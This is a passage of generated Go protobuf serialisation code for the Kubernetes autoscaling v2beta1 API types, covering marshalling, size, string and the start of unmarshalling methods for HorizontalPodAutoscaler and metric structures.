proto.RegisterType((*HorizontalPodAutoscaler)(nil), "k8s.io.api.autoscaling.v2beta1.HorizontalPodAutoscaler")
proto.RegisterType((*HorizontalPodAutoscalerCondition)(nil), "k8s.io.api.autoscaling.v2beta1.HorizontalPodAutoscalerCondition")
proto.RegisterType((*HorizontalPodAutoscalerList)(nil), "k8s.io.api.autoscaling.v2beta1.HorizontalPodAutoscalerList")
proto.RegisterType((*HorizontalPodAutoscalerSpec)(nil), "k8s.io.api.autoscaling.v2beta1.HorizontalPodAutoscalerSpec")
proto.RegisterType((*HorizontalPodAutoscalerStatus)(nil), "k8s.io.api.autoscaling.v2beta1.HorizontalPodAutoscalerStatus")
proto.RegisterType((*MetricSpec)(nil), "k8s.io.api.autoscaling.v2beta1.MetricSpec")
proto.RegisterType((*MetricStatus)(nil), "k8s.io.api.autoscaling.v2beta1.MetricStatus")
proto.RegisterType((*ObjectMetricSource)(nil), "k8s.io.api.autoscaling.v2beta1.ObjectMetricSource")
proto.RegisterType((*ObjectMetricStatus)(nil), "k8s.io.api.autoscaling.v2beta1.ObjectMetricStatus")
proto.RegisterType((*PodsMetricSource)(nil), "k8s.io.api.autoscaling.v2beta1.PodsMetricSource")
proto.RegisterType((*PodsMetricStatus)(nil), "k8s.io.api.autoscaling.v2beta1.PodsMetricStatus")
proto.RegisterType((*ResourceMetricSource)(nil), "k8s.io.api.autoscaling.v2beta1.ResourceMetricSource")
proto.RegisterType((*ResourceMetricStatus)(nil), "k8s.io.api.autoscaling.v2beta1.ResourceMetricStatus")
}
func (m *CrossVersionObjectReference) Marshal() (dAtA []byte, err error) {
size := m.Size()
dAtA = make([]byte, size)
n, err := m.MarshalTo(dAtA)
if err != nil {
return nil, err
}
return dAtA[:n], nil
}
func (m *CrossVersionObjectReference) MarshalTo(dAtA []byte) (int, error) {
var i int
_ = i
var l int
_ = l
dAtA[i] = 0xa
i++
i = encodeVarintGenerated(dAtA, i, uint64(len(m.Kind)))
i += copy(dAtA[i:], m.Kind)
dAtA[i] = 0x12
i++
i = encodeVarintGenerated(dAtA, i, uint64(len(m.Name)))
i += copy(dAtA[i:], m.Name)
dAtA[i] = 0x1a
i++
i = encodeVarintGenerated(dAtA, i, uint64(len(m.APIVersion)))
i += copy(dAtA[i:], m.APIVersion)
return i, nil
}
func (m *HorizontalPodAutoscaler) Marshal() (dAtA []byte, err error) {
size := m.Size()
dAtA = make([]byte, size)
n, err := m.MarshalTo(dAtA)
if err != nil {
return nil, err
}
return dAtA[:n], nil
}
func (m *HorizontalPodAutoscaler) MarshalTo(dAtA []byte) (int, error) {
var i int
_ = i
var l int
_ = l
dAtA[i] = 0xa
i++
i = encodeVarintGenerated(dAtA, i, uint64(m.ObjectMeta.Size()))
n1, err := m.ObjectMeta.MarshalTo(dAtA[i:])
if err != nil {
return 0, err
}
i += n1
dAtA[i] = 0x12
i++
i = encodeVarintGenerated(dAtA, i, uint64(m.Spec.Size()))
n2, err := m.Spec.MarshalTo(dAtA[i:])
if err != nil {
return 0, err
}
i += n2
dAtA[i] = 0x1a
i++
i = encodeVarintGenerated(dAtA, i, uint64(m.Status.Size()))
n3, err := m.Status.MarshalTo(dAtA[i:])
if err != nil {
return 0, err
}
i += n3
return i, nil
}
func (m *HorizontalPodAutoscalerCondition) Marshal() (dAtA []byte, err error) {
size := m.Size()
dAtA = make([]byte, size)
n, err := m.MarshalTo(dAtA)
if err != nil {
return nil, err
}
return dAtA[:n], nil
}
func (m *HorizontalPodAutoscalerCondition) MarshalTo(dAtA []byte) (int, error) {
var i int
_ = i
var l int
_ = l
dAtA[i] = 0xa
i++
i = encodeVarintGenerated(dAtA, i, uint64(len(m.Type)))
i += copy(dAtA[i:], m.Type)
dAtA[i] = 0x12
i++
i = encodeVarintGenerated(dAtA, i, uint64(len(m.Status)))
i += copy(dAtA[i:], m.Status)
dAtA[i] = 0x1a
i++
i = encodeVarintGenerated(dAtA, i, uint64(m.LastTransitionTime.Size()))
n4, err := m.LastTransitionTime.MarshalTo(dAtA[i:])
if err != nil {
return 0, err
}
i += n4
dAtA[i] = 0x22
i++
i = encodeVarintGenerated(dAtA, i, uint64(len(m.Reason)))
i += copy(dAtA[i:], m.Reason)
dAtA[i] = 0x2a
i++
i = encodeVarintGenerated(dAtA, i, uint64(len(m.Message)))
i += copy(dAtA[i:], m.Message)
return i, nil
}
func (m *HorizontalPodAutoscalerList) Marshal() (dAtA []byte, err error) {
size := m.Size()
dAtA = make([]byte, size)
n, err := m.MarshalTo(dAtA)
if err != nil {
return nil, err
}
return dAtA[:n], nil
}
func (m *HorizontalPodAutoscalerList) MarshalTo(dAtA []byte) (int, error) {
var i int
_ = i
var l int
_ = l
dAtA[i] = 0xa
i++
i = encodeVarintGenerated(dAtA, i, uint64(m.ListMeta.Size()))
n5, err := m.ListMeta.MarshalTo(dAtA[i:])
if err != nil {
return 0, err
}
i += n5
if len(m.Items) > 0 {
for _, msg := range m.Items {
dAtA[i] = 0x12
i++
i = encodeVarintGenerated(dAtA, i, uint64(msg.Size()))
n, err := msg.MarshalTo(dAtA[i:])
if err != nil {
return 0, err
}
i += n
}
}
return i, nil
}
func (m *HorizontalPodAutoscalerSpec) Marshal() (dAtA []byte, err error) {
size := m.Size()
dAtA = make([]byte, size)
n, err := m.MarshalTo(dAtA)
if err != nil {
return nil, err
}
return dAtA[:n], nil
}
func (m *HorizontalPodAutoscalerSpec) MarshalTo(dAtA []byte) (int, error) {
var i int
_ = i
var l int
_ = l
dAtA[i] = 0xa
i++
i = encodeVarintGenerated(dAtA, i, uint64(m.ScaleTargetRef.Size()))
n6, err := m.ScaleTargetRef.MarshalTo(dAtA[i:])
if err != nil {
return 0, err
}
i += n6
if m.MinReplicas != nil {
dAtA[i] = 0x10
i++
i = encodeVarintGenerated(dAtA, i, uint64(*m.MinReplicas))
}
dAtA[i] = 0x18
i++
i = encodeVarintGenerated(dAtA, i, uint64(m.MaxReplicas))
if len(m.Metrics) > 0 {
for _, msg := range m.Metrics {
dAtA[i] = 0x22
i++
i = encodeVarintGenerated(dAtA, i, uint64(msg.Size()))
n, err := msg.MarshalTo(dAtA[i:])
if err != nil {
return 0, err
}
i += n
}
}
return i, nil
}
func (m *HorizontalPodAutoscalerStatus) Marshal() (dAtA []byte, err error) {
size := m.Size()
dAtA = make([]byte, size)
n, err := m.MarshalTo(dAtA)
if err != nil {
return nil, err
}
return dAtA[:n], nil
}
func (m *HorizontalPodAutoscalerStatus) MarshalTo(dAtA []byte) (int, error) {
var i int
_ = i
var l int
_ = l
if m.ObservedGeneration != nil {
dAtA[i] = 0x8
i++
i = encodeVarintGenerated(dAtA, i, uint64(*m.ObservedGeneration))
}
if m.LastScaleTime != nil {
dAtA[i] = 0x12
i++
i = encodeVarintGenerated(dAtA, i, uint64(m.LastScaleTime.Size()))
n7, err := m.LastScaleTime.MarshalTo(dAtA[i:])
if err != nil {
return 0, err
}
i += n7
}
dAtA[i] = 0x18
i++
i = encodeVarintGenerated(dAtA, i, uint64(m.CurrentReplicas))
dAtA[i] = 0x20
i++
i = encodeVarintGenerated(dAtA, i, uint64(m.DesiredReplicas))
if len(m.CurrentMetrics) > 0 {
for _, msg := range m.CurrentMetrics {
dAtA[i] = 0x2a
i++
i = encodeVarintGenerated(dAtA, i, uint64(msg.Size()))
n, err := msg.MarshalTo(dAtA[i:])
if err != nil {
return 0, err
}
i += n
}
}
if len(m.Conditions) > 0 {
for _, msg := range m.Conditions {
dAtA[i] = 0x32
i++
i = encodeVarintGenerated(dAtA, i, uint64(msg.Size()))
n, err := msg.MarshalTo(dAtA[i:])
if err != nil {
return 0, err
}
i += n
}
}
return i, nil
}
func (m *MetricSpec) Marshal() (dAtA []byte, err error) {
size := m.Size()
dAtA = make([]byte, size)
n, err := m.MarshalTo(dAtA)
if err != nil {
return nil, err
}
return dAtA[:n], nil
}
func (m *MetricSpec) MarshalTo(dAtA []byte) (int, error) {
var i int
_ = i
var l int
_ = l
dAtA[i] = 0xa
i++
i = encodeVarintGenerated(dAtA, i, uint64(len(m.Type)))
i += copy(dAtA[i:], m.Type)
if m.Object != nil {
dAtA[i] = 0x12
i++
i = encodeVarintGenerated(dAtA, i, uint64(m.Object.Size()))
n8, err := m.Object.MarshalTo(dAtA[i:])
if err != nil {
return 0, err
}
i += n8
}
if m.Pods != nil {
dAtA[i] = 0x1a
i++
i = encodeVarintGenerated(dAtA, i, uint64(m.Pods.Size()))
n9, err := m.Pods.MarshalTo(dAtA[i:])
if err != nil {
return 0, err
}
i += n9
}
if m.Resource != nil {
dAtA[i] = 0x22
i++
i = encodeVarintGenerated(dAtA, i, uint64(m.Resource.Size()))
n10, err := m.Resource.MarshalTo(dAtA[i:])
if err != nil {
return 0, err
}
i += n10
}
return i, nil
}
func (m *MetricStatus) Marshal() (dAtA []byte, err error) {
size := m.Size()
dAtA = make([]byte, size)
n, err := m.MarshalTo(dAtA)
if err != nil {
return nil, err
}
return dAtA[:n], nil
}
func (m *MetricStatus) MarshalTo(dAtA []byte) (int, error) {
var i int
_ = i
var l int
_ = l
dAtA[i] = 0xa
i++
i = encodeVarintGenerated(dAtA, i, uint64(len(m.Type)))
i += copy(dAtA[i:], m.Type)
if m.Object != nil {
dAtA[i] = 0x12
i++
i = encodeVarintGenerated(dAtA, i, uint64(m.Object.Size()))
n11, err := m.Object.MarshalTo(dAtA[i:])
if err != nil {
return 0, err
}
i += n11
}
if m.Pods != nil {
dAtA[i] = 0x1a
i++
i = encodeVarintGenerated(dAtA, i, uint64(m.Pods.Size()))
n12, err := m.Pods.MarshalTo(dAtA[i:])
if err != nil {
return 0, err
}
i += n12
}
if m.Resource != nil {
dAtA[i] = 0x22
i++
i = encodeVarintGenerated(dAtA, i, uint64(m.Resource.Size()))
n13, err := m.Resource.MarshalTo(dAtA[i:])
if err != nil {
return 0, err
}
i += n13
}
return i, nil
}
func (m *ObjectMetricSource) Marshal() (dAtA []byte, err error) {
size := m.Size()
dAtA = make([]byte, size)
n, err := m.MarshalTo(dAtA)
if err != nil {
return nil, err
}
return dAtA[:n], nil
}
func (m *ObjectMetricSource) MarshalTo(dAtA []byte) (int, error) {
var i int
_ = i
var l int
_ = l
dAtA[i] = 0xa
i++
i = encodeVarintGenerated(dAtA, i, uint64(m.Target.Size()))
n14, err := m.Target.MarshalTo(dAtA[i:])
if err != nil {
return 0, err
}
i += n14
dAtA[i] = 0x12
i++
i = encodeVarintGenerated(dAtA, i, uint64(len(m.MetricName)))
i += copy(dAtA[i:], m.MetricName)
dAtA[i] = 0x1a
i++
i = encodeVarintGenerated(dAtA, i, uint64(m.TargetValue.Size()))
n15, err := m.TargetValue.MarshalTo(dAtA[i:])
if err != nil {
return 0, err
}
i += n15
return i, nil
}
func (m *ObjectMetricStatus) Marshal() (dAtA []byte, err error) {
size := m.Size()
dAtA = make([]byte, size)
n, err := m.MarshalTo(dAtA)
if err != nil {
return nil, err
}
return dAtA[:n], nil
}
func (m *ObjectMetricStatus) MarshalTo(dAtA []byte) (int, error) {
var i int
_ = i
var l int
_ = l
dAtA[i] = 0xa
i++
i = encodeVarintGenerated(dAtA, i, uint64(m.Target.Size()))
n16, err := m.Target.MarshalTo(dAtA[i:])
if err != nil {
return 0, err
}
i += n16
dAtA[i] = 0x12
i++
i = encodeVarintGenerated(dAtA, i, uint64(len(m.MetricName)))
i += copy(dAtA[i:], m.MetricName)
dAtA[i] = 0x1a
i++
i = encodeVarintGenerated(dAtA, i, uint64(m.CurrentValue.Size()))
n17, err := m.CurrentValue.MarshalTo(dAtA[i:])
if err != nil {
return 0, err
}
i += n17
return i, nil
}
func (m *PodsMetricSource) Marshal() (dAtA []byte, err error) {
size := m.Size()
dAtA = make([]byte, size)
n, err := m.MarshalTo(dAtA)
if err != nil {
return nil, err
}
return dAtA[:n], nil
}
func (m *PodsMetricSource) MarshalTo(dAtA []byte) (int, error) {
var i int
_ = i
var l int
_ = l
dAtA[i] = 0xa
i++
i = encodeVarintGenerated(dAtA, i, uint64(len(m.MetricName)))
i += copy(dAtA[i:], m.MetricName)
dAtA[i] = 0x12
i++
i = encodeVarintGenerated(dAtA, i, uint64(m.TargetAverageValue.Size()))
n18, err := m.TargetAverageValue.MarshalTo(dAtA[i:])
if err != nil {
return 0, err
}
i += n18
return i, nil
}
func (m *PodsMetricStatus) Marshal() (dAtA []byte, err error) {
size := m.Size()
dAtA = make([]byte, size)
n, err := m.MarshalTo(dAtA)
if err != nil {
return nil, err
}
return dAtA[:n], nil
}
func (m *PodsMetricStatus) MarshalTo(dAtA []byte) (int, error) {
var i int
_ = i
var l int
_ = l
dAtA[i] = 0xa
i++
i = encodeVarintGenerated(dAtA, i, uint64(len(m.MetricName)))
i += copy(dAtA[i:], m.MetricName)
dAtA[i] = 0x12
i++
i = encodeVarintGenerated(dAtA, i, uint64(m.CurrentAverageValue.Size()))
n19, err := m.CurrentAverageValue.MarshalTo(dAtA[i:])
if err != nil {
return 0, err
}
i += n19
return i, nil
}
func (m *ResourceMetricSource) Marshal() (dAtA []byte, err error) {
size := m.Size()
dAtA = make([]byte, size)
n, err := m.MarshalTo(dAtA)
if err != nil {
return nil, err
}
return dAtA[:n], nil
}
func (m *ResourceMetricSource) MarshalTo(dAtA []byte) (int, error) {
var i int
_ = i
var l int
_ = l
dAtA[i] = 0xa
i++
i = encodeVarintGenerated(dAtA, i, uint64(len(m.Name)))
i += copy(dAtA[i:], m.Name)
if m.TargetAverageUtilization != nil {
dAtA[i] = 0x10
i++
i = encodeVarintGenerated(dAtA, i, uint64(*m.TargetAverageUtilization))
}
if m.TargetAverageValue != nil {
dAtA[i] = 0x1a
i++
i = encodeVarintGenerated(dAtA, i, uint64(m.TargetAverageValue.Size()))
n20, err := m.TargetAverageValue.MarshalTo(dAtA[i:])
if err != nil {
return 0, err
}
i += n20
}
return i, nil
}
func (m *ResourceMetricStatus) Marshal() (dAtA []byte, err error) {
size := m.Size()
dAtA = make([]byte, size)
n, err := m.MarshalTo(dAtA)
if err != nil {
return nil, err
}
return dAtA[:n], nil
}
func (m *ResourceMetricStatus) MarshalTo(dAtA []byte) (int, error) {
var i int
_ = i
var l int
_ = l
dAtA[i] = 0xa
i++
i = encodeVarintGenerated(dAtA, i, uint64(len(m.Name)))
i += copy(dAtA[i:], m.Name)
if m.CurrentAverageUtilization != nil {
dAtA[i] = 0x10
i++
i = encodeVarintGenerated(dAtA, i, uint64(*m.CurrentAverageUtilization))
}
dAtA[i] = 0x1a
i++
i = encodeVarintGenerated(dAtA, i, uint64(m.CurrentAverageValue.Size()))
n21, err := m.CurrentAverageValue.MarshalTo(dAtA[i:])
if err != nil {
return 0, err
}
i += n21
return i, nil
}
func encodeFixed64Generated(dAtA []byte, offset int, v uint64) int {
dAtA[offset] = uint8(v)
dAtA[offset+1] = uint8(v >> 8)
dAtA[offset+2] = uint8(v >> 16)
dAtA[offset+3] = uint8(v >> 24)
dAtA[offset+4] = uint8(v >> 32)
dAtA[offset+5] = uint8(v >> 40)
dAtA[offset+6] = uint8(v >> 48)
dAtA[offset+7] = uint8(v >> 56)
return offset + 8
}
func encodeFixed32Generated(dAtA []byte, offset int, v uint32) int {
dAtA[offset] = uint8(v)
dAtA[offset+1] = uint8(v >> 8)
dAtA[offset+2] = uint8(v >> 16)
dAtA[offset+3] = uint8(v >> 24)
return offset + 4
}
func encodeVarintGenerated(dAtA []byte, offset int, v uint64) int {
for v >= 1<<7 {
dAtA[offset] = uint8(v&0x7f | 0x80)
v >>= 7
offset++
}
dAtA[offset] = uint8(v)
return offset + 1
}
func (m *CrossVersionObjectReference) Size() (n int) {
var l int
_ = l
l = len(m.Kind)
n += 1 + l + sovGenerated(uint64(l))
l = len(m.Name)
n += 1 + l + sovGenerated(uint64(l))
l = len(m.APIVersion)
n += 1 + l + sovGenerated(uint64(l))
return n
}
func (m *HorizontalPodAutoscaler) Size() (n int) {
var l int
_ = l
l = m.ObjectMeta.Size()
n += 1 + l + sovGenerated(uint64(l))
l = m.Spec.Size()
n += 1 + l + sovGenerated(uint64(l))
l = m.Status.Size()
n += 1 + l + sovGenerated(uint64(l))
return n
}
func (m *HorizontalPodAutoscalerCondition) Size() (n int) {
var l int
_ = l
l = len(m.Type)
n += 1 + l + sovGenerated(uint64(l))
l = len(m.Status)
n += 1 + l + sovGenerated(uint64(l))
l = m.LastTransitionTime.Size()
n += 1 + l + sovGenerated(uint64(l))
l = len(m.Reason)
n += 1 + l + sovGenerated(uint64(l))
l = len(m.Message)
n += 1 + l + sovGenerated(uint64(l))
return n
}
func (m *HorizontalPodAutoscalerList) Size() (n int) {
var l int
_ = l
l = m.ListMeta.Size()
n += 1 + l + sovGenerated(uint64(l))
if len(m.Items) > 0 {
for _, e := range m.Items {
l = e.Size()
n += 1 + l + sovGenerated(uint64(l))
}
}
return n
}
func (m *HorizontalPodAutoscalerSpec) Size() (n int) {
var l int
_ = l
l = m.ScaleTargetRef.Size()
n += 1 + l + sovGenerated(uint64(l))
if m.MinReplicas != nil {
n += 1 + sovGenerated(uint64(*m.MinReplicas))
}
n += 1 + sovGenerated(uint64(m.MaxReplicas))
if len(m.Metrics) > 0 {
for _, e := range m.Metrics {
l = e.Size()
n += 1 + l + sovGenerated(uint64(l))
}
}
return n
}
func (m *HorizontalPodAutoscalerStatus) Size() (n int) {
var l int
_ = l
if m.ObservedGeneration != nil {
n += 1 + sovGenerated(uint64(*m.ObservedGeneration))
}
if m.LastScaleTime != nil {
l = m.LastScaleTime.Size()
n += 1 + l + sovGenerated(uint64(l))
}
n += 1 + sovGenerated(uint64(m.CurrentReplicas))
n += 1 + sovGenerated(uint64(m.DesiredReplicas))
if len(m.CurrentMetrics) > 0 {
for _, e := range m.CurrentMetrics {
l = e.Size()
n += 1 + l + sovGenerated(uint64(l))
}
}
if len(m.Conditions) > 0 {
for _, e := range m.Conditions {
l = e.Size()
n += 1 + l + sovGenerated(uint64(l))
}
}
return n
}
func (m *MetricSpec) Size() (n int) {
var l int
_ = l
l = len(m.Type)
n += 1 + l + sovGenerated(uint64(l))
if m.Object != nil {
l = m.Object.Size()
n += 1 + l + sovGenerated(uint64(l))
}
if m.Pods != nil {
l = m.Pods.Size()
n += 1 + l + sovGenerated(uint64(l))
}
if m.Resource != nil {
l = m.Resource.Size()
n += 1 + l + sovGenerated(uint64(l))
}
return n
}
func (m *MetricStatus) Size() (n int) {
var l int
_ = l
l = len(m.Type)
n += 1 + l + sovGenerated(uint64(l))
if m.Object != nil {
l = m.Object.Size()
n += 1 + l + sovGenerated(uint64(l))
}
if m.Pods != nil {
l = m.Pods.Size()
n += 1 + l + sovGenerated(uint64(l))
}
if m.Resource != nil {
l = m.Resource.Size()
n += 1 + l + sovGenerated(uint64(l))
}
return n
}
func (m *ObjectMetricSource) Size() (n int) {
var l int
_ = l
l = m.Target.Size()
n += 1 + l + sovGenerated(uint64(l))
l = len(m.MetricName)
n += 1 + l + sovGenerated(uint64(l))
l = m.TargetValue.Size()
n += 1 + l + sovGenerated(uint64(l))
return n
}
func (m *ObjectMetricStatus) Size() (n int) {
var l int
_ = l
l = m.Target.Size()
n += 1 + l + sovGenerated(uint64(l))
l = len(m.MetricName)
n += 1 + l + sovGenerated(uint64(l))
l = m.CurrentValue.Size()
n += 1 + l + sovGenerated(uint64(l))
return n
}
func (m *PodsMetricSource) Size() (n int) {
var l int
_ = l
l = len(m.MetricName)
n += 1 + l + sovGenerated(uint64(l))
l = m.TargetAverageValue.Size()
n += 1 + l + sovGenerated(uint64(l))
return n
}
func (m *PodsMetricStatus) Size() (n int) {
var l int
_ = l
l = len(m.MetricName)
n += 1 + l + sovGenerated(uint64(l))
l = m.CurrentAverageValue.Size()
n += 1 + l + sovGenerated(uint64(l))
return n
}
func (m *ResourceMetricSource) Size() (n int) {
var l int
_ = l
l = len(m.Name)
n += 1 + l + sovGenerated(uint64(l))
if m.TargetAverageUtilization != nil {
n += 1 + sovGenerated(uint64(*m.TargetAverageUtilization))
}
if m.TargetAverageValue != nil {
l = m.TargetAverageValue.Size()
n += 1 + l + sovGenerated(uint64(l))
}
return n
}
func (m *ResourceMetricStatus) Size() (n int) {
var l int
_ = l
l = len(m.Name)
n += 1 + l + sovGenerated(uint64(l))
if m.CurrentAverageUtilization != nil {
n += 1 + sovGenerated(uint64(*m.CurrentAverageUtilization))
}
l = m.CurrentAverageValue.Size()
n += 1 + l + sovGenerated(uint64(l))
return n
}
func sovGenerated(x uint64) (n int) {
for {
n++
x >>= 7
if x == 0 {
break
}
}
return n
}
func sozGenerated(x uint64) (n int) {
return sovGenerated(uint64((x << 1) ^ uint64((int64(x) >> 63))))
}
func (this *CrossVersionObjectReference) String() string {
if this == nil {
return "nil"
}
s := strings.Join([]string{`&CrossVersionObjectReference{`,
`Kind:` + fmt.Sprintf("%v", this.Kind) + `,`,
`Name:` + fmt.Sprintf("%v", this.Name) + `,`,
`APIVersion:` + fmt.Sprintf("%v", this.APIVersion) + `,`,
`}`,
}, "")
return s
}
func (this *HorizontalPodAutoscaler) String() string {
if this == nil {
return "nil"
}
s := strings.Join([]string{`&HorizontalPodAutoscaler{`,
`ObjectMeta:` + strings.Replace(strings.Replace(this.ObjectMeta.String(), "ObjectMeta", "k8s_io_apimachinery_pkg_apis_meta_v1.ObjectMeta", 1), `&`, ``, 1) + `,`,
`Spec:` + strings.Replace(strings.Replace(this.Spec.String(), "HorizontalPodAutoscalerSpec", "HorizontalPodAutoscalerSpec", 1), `&`, ``, 1) + `,`,
`Status:` + strings.Replace(strings.Replace(this.Status.String(), "HorizontalPodAutoscalerStatus", "HorizontalPodAutoscalerStatus", 1), `&`, ``, 1) + `,`,
`}`,
}, "")
return s
}
func (this *HorizontalPodAutoscalerCondition) String() string {
if this == nil {
return "nil"
}
s := strings.Join([]string{`&HorizontalPodAutoscalerCondition{`,
`Type:` + fmt.Sprintf("%v", this.Type) + `,`,
`Status:` + fmt.Sprintf("%v", this.Status) + `,`,
`LastTransitionTime:` + strings.Replace(strings.Replace(this.LastTransitionTime.String(), "Time", "k8s_io_apimachinery_pkg_apis_meta_v1.Time", 1), `&`, ``, 1) + `,`,
`Reason:` + fmt.Sprintf("%v", this.Reason) + `,`,
`Message:` + fmt.Sprintf("%v", this.Message) + `,`,
`}`,
}, "")
return s
}
func (this *HorizontalPodAutoscalerList) String() string {
if this == nil {
return "nil"
}
s := strings.Join([]string{`&HorizontalPodAutoscalerList{`,
`ListMeta:` + strings.Replace(strings.Replace(this.ListMeta.String(), "ListMeta", "k8s_io_apimachinery_pkg_apis_meta_v1.ListMeta", 1), `&`, ``, 1) + `,`,
`Items:` + strings.Replace(strings.Replace(fmt.Sprintf("%v", this.Items), "HorizontalPodAutoscaler", "HorizontalPodAutoscaler", 1), `&`, ``, 1) + `,`,
`}`,
}, "")
return s
}
func (this *HorizontalPodAutoscalerSpec) String() string {
if this == nil {
return "nil"
}
s := strings.Join([]string{`&HorizontalPodAutoscalerSpec{`,
`ScaleTargetRef:` + strings.Replace(strings.Replace(this.ScaleTargetRef.String(), "CrossVersionObjectReference", "CrossVersionObjectReference", 1), `&`, ``, 1) + `,`,
`MinReplicas:` + valueToStringGenerated(this.MinReplicas) + `,`,
`MaxReplicas:` + fmt.Sprintf("%v", this.MaxReplicas) + `,`,
`Metrics:` + strings.Replace(strings.Replace(fmt.Sprintf("%v", this.Metrics), "MetricSpec", "MetricSpec", 1), `&`, ``, 1) + `,`,
`}`,
}, "")
return s
}
func (this *HorizontalPodAutoscalerStatus) String() string {
if this == nil {
return "nil"
}
s := strings.Join([]string{`&HorizontalPodAutoscalerStatus{`,
`ObservedGeneration:` + valueToStringGenerated(this.ObservedGeneration) + `,`,
`LastScaleTime:` + strings.Replace(fmt.Sprintf("%v", this.LastScaleTime), "Time", "k8s_io_apimachinery_pkg_apis_meta_v1.Time", 1) + `,`,
`CurrentReplicas:` + fmt.Sprintf("%v", this.CurrentReplicas) + `,`,
`DesiredReplicas:` + fmt.Sprintf("%v", this.DesiredReplicas) + `,`,
`CurrentMetrics:` + strings.Replace(strings.Replace(fmt.Sprintf("%v", this.CurrentMetrics), "MetricStatus", "MetricStatus", 1), `&`, ``, 1) + `,`,
`Conditions:` + strings.Replace(strings.Replace(fmt.Sprintf("%v", this.Conditions), "HorizontalPodAutoscalerCondition", "HorizontalPodAutoscalerCondition", 1), `&`, ``, 1) + `,`,
`}`,
}, "")
return s
}
func (this *MetricSpec) String() string {
if this == nil {
return "nil"
}
s := strings.Join([]string{`&MetricSpec{`,
`Type:` + fmt.Sprintf("%v", this.Type) + `,`,
`Object:` + strings.Replace(fmt.Sprintf("%v", this.Object), "ObjectMetricSource", "ObjectMetricSource", 1) + `,`,
`Pods:` + strings.Replace(fmt.Sprintf("%v", this.Pods), "PodsMetricSource", "PodsMetricSource", 1) + `,`,
`Resource:` + strings.Replace(fmt.Sprintf("%v", this.Resource), "ResourceMetricSource", "ResourceMetricSource", 1) + `,`,
`}`,
}, "")
return s
}
func (this *MetricStatus) String() string {
if this == nil {
return "nil"
}
s := strings.Join([]string{`&MetricStatus{`,
`Type:` + fmt.Sprintf("%v", this.Type) + `,`,
`Object:` + strings.Replace(fmt.Sprintf("%v", this.Object), "ObjectMetricStatus", "ObjectMetricStatus", 1) + `,`,
`Pods:` + strings.Replace(fmt.Sprintf("%v", this.Pods), "PodsMetricStatus", "PodsMetricStatus", 1) + `,`,
`Resource:` + strings.Replace(fmt.Sprintf("%v", this.Resource), "ResourceMetricStatus", "ResourceMetricStatus", 1) + `,`,
`}`,
}, "")
return s
}
func (this *ObjectMetricSource) String() string {
if this == nil {
return "nil"
}
s := strings.Join([]string{`&ObjectMetricSource{`,
`Target:` + strings.Replace(strings.Replace(this.Target.String(), "CrossVersionObjectReference", "CrossVersionObjectReference", 1), `&`, ``, 1) + `,`,
`MetricName:` + fmt.Sprintf("%v", this.MetricName) + `,`,
`TargetValue:` + strings.Replace(strings.Replace(this.TargetValue.String(), "Quantity", "k8s_io_apimachinery_pkg_api_resource.Quantity", 1), `&`, ``, 1) + `,`,
`}`,
}, "")
return s
}
func (this *ObjectMetricStatus) String() string {
if this == nil {
return "nil"
}
s := strings.Join([]string{`&ObjectMetricStatus{`,
`Target:` + strings.Replace(strings.Replace(this.Target.String(), "CrossVersionObjectReference", "CrossVersionObjectReference", 1), `&`, ``, 1) + `,`,
`MetricName:` + fmt.Sprintf("%v", this.MetricName) + `,`,
`CurrentValue:` + strings.Replace(strings.Replace(this.CurrentValue.String(), "Quantity", "k8s_io_apimachinery_pkg_api_resource.Quantity", 1), `&`, ``, 1) + `,`,
`}`,
}, "")
return s
}
func (this *PodsMetricSource) String() string {
if this == nil {
return "nil"
}
s := strings.Join([]string{`&PodsMetricSource{`,
`MetricName:` + fmt.Sprintf("%v", this.MetricName) + `,`,
`TargetAverageValue:` + strings.Replace(strings.Replace(this.TargetAverageValue.String(), "Quantity", "k8s_io_apimachinery_pkg_api_resource.Quantity", 1), `&`, ``, 1) + `,`,
`}`,
}, "")
return s
}
func (this *PodsMetricStatus) String() string {
if this == nil {
return "nil"
}
s := strings.Join([]string{`&PodsMetricStatus{`,
`MetricName:` + fmt.Sprintf("%v", this.MetricName) + `,`,
`CurrentAverageValue:` + strings.Replace(strings.Replace(this.CurrentAverageValue.String(), "Quantity", "k8s_io_apimachinery_pkg_api_resource.Quantity", 1), `&`, ``, 1) + `,`,
`}`,
}, "")
return s
}
func (this *ResourceMetricSource) String() string {
if this == nil {
return "nil"
}
s := strings.Join([]string{`&ResourceMetricSource{`,
`Name:` + fmt.Sprintf("%v", this.Name) + `,`,
`TargetAverageUtilization:` + valueToStringGenerated(this.TargetAverageUtilization) + `,`,
`TargetAverageValue:` + strings.Replace(fmt.Sprintf("%v", this.TargetAverageValue), "Quantity", "k8s_io_apimachinery_pkg_api_resource.Quantity", 1) + `,`,
`}`,
}, "")
return s
}
func (this *ResourceMetricStatus) String() string {
if this == nil {
return "nil"
}
s := strings.Join([]string{`&ResourceMetricStatus{`,
`Name:` + fmt.Sprintf("%v", this.Name) + `,`,
`CurrentAverageUtilization:` + valueToStringGenerated(this.CurrentAverageUtilization) + `,`,
`CurrentAverageValue:` + strings.Replace(strings.Replace(this.CurrentAverageValue.String(), "Quantity", "k8s_io_apimachinery_pkg_api_resource.Quantity", 1), `&`, ``, 1) + `,`,
`}`,
}, "")
return s
}
func valueToStringGenerated(v interface{}) string {
rv := reflect.ValueOf(v)
if rv.IsNil() {
return "nil"
}
pv := reflect.Indirect(rv).Interface()
return fmt.Sprintf("*%v", pv)
}
func (m *CrossVersionObjectReference) Unmarshal(dAtA []byte) error {
l := len(dAtA)
iNdEx := 0
for iNdEx < l {
preIndex := iNdEx
var wire uint64
for shift := uint(0); ; shift += 7 {
if shift >= 64 {
return ErrIntOverflowGenerated
}
if iNdEx >= l {
return io.ErrUnexpectedEOF
}
b := dAtA[iNdEx]
iNdEx++
wire |= (uint64(b) & 0x7F) << shift
if b < 0x80 {
break
}
}
fieldNum := int32(wire >> 3)
wireType := int(wire & 0x7)
if wireType == 4 {
return fmt.Errorf("proto: CrossVersionObjectReference: wiretype end group for non-group")
}
if fieldNum <= 0 {
return fmt.Errorf("proto: CrossVersionObjectReference: illegal tag %d (wire type %d)", fieldNum, wire)
}
switch fieldNum {
case 1:
if wireType != 2 {
return fmt.Errorf("proto: wrong wireType = %d for field Kind", wireType)
}
var stringLen uint64
for shift := uint(0); ; shift += 7 {
if shift >= 64 {
return ErrIntOverflowGenerated
}
if iNdEx >= l {
return io.ErrUnexpectedEOF
}
b := dAtA[iNdEx]
iNdEx++
stringLen |= (uint64(b) & 0x7F) << shift
if b < 0x80 {
break
}
}
intStringLen := int(stringLen)
if intStringLen < 0 {
